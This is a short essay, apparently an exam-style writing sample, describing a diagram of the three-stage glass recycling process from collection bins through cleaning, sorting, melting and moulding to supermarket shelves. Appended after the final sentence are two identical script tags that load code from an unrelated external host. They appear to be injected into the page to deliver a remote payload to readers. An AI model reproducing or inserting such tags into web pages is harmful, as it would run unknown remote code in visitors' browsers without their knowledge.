The figure depicts the recycling of glass. Overall it can be seen that the process by which glass is recycled is a multi-step, cyclical process, which consists of three main stages: collection, processing and distribution.

In the first stage, customers place used bottles in collection bins, and the bottles are collected by large trucks.

In Stage 2, the bottles are taken to a cleaning plant, where they are cleaned with high-pressurised water. They are then separated according to colour (green, brownor clear), and taken to a glass factory, where they are crushed into pieces. The pieces are melted in a furnace and the resulting liquid, together with new liquid glass, is poured into a bottle mould.

In the third and final stage, the new bottles are filled and packed, and then sent to supermarkets, where the customers buy them and the process begins again.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
